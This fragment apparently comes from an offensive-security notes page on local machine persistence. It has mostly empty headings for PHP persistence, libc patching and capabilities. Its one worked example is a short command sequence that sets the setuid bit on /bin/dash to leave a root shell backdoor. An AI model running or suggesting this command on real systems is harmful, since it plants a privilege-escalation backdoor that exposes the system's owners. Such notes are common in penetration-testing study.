Local Machine Persistence
PHP Persistence
Run the following
hw.php
Contents
Patching LibC
Linux Internals: How /proc/self/mem writes to unwritable memory - offlinemark
Set the setuid bit for sh
or any binary
# 1. Find where /bin/sh links to
ls -la /bin/sh
# 2. Set the setuid bit for binary
chmod 4755 /bin/dash
# 3. Check if the bit is set
ls -la /bin/dash
Capabilities
// TODO